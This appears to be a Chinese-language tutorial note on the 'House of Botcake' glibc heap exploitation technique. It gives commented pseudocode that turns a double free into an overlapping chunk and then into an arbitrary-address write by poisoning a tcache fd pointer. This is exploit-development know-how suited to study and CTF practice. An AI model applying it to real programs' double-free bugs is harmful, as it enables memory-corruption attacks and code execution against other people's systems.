HeapAttack: House_of_Botcake

1. 漏洞样式

  • glibc版本:≥ 2.3.1
  • Tcache:开启
  • 漏洞要求:double free

2. 利用方法

2.1 攻击效果

绕过Tcache的 tcache-dup 检查,将 可控chunk 插入 Tcache-list,修改 可控chunkfd 字段,从而 最终实现 任意地址写’。

2.2 攻击过程

伪代码表示如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
size = 0x108

mem_lst = [ malloc(size) for x in range(7) ] #创建7个chunk

a = malloc(size)
b = malloc(size) #a,b chunk是主角

malloc(0x18) #和top_chunk隔离,防止forward-consolidation

[free(x) for x in mem_lst] #把7个chunk free到tcache中,tcache被填满

free(a) #因tcache已满,a、b进unsorted-bin
free(b) #a、b邻接,因此发生consolidate合并成一个chunk在unsorted-bin中

malloc(size) #一次分配后tcache有一个空位
free(b) #对b使用double-free攻击。由于b不在tcache中,因此通过tcache检查被加入到tcache中。

c = malloc(size + 0x30) #unsorted-bin发生remaindering,chunk-b的前0x30被memory-c overlap

payload = size * b"\0" + p64(size) + p64(target_address)
#不同size时的payload写法不同;但目的是target_address覆盖到 b->fd

write(c, payload) ##这里将target_address链接到tcache list中,下次对tcache size的内存请求即可分配到目标地址的内存chunk

target_memory = malloc(size)
write(target_memory, arbitrary_value)

参考:

heap_exploit_2.31/house_of_botcake.c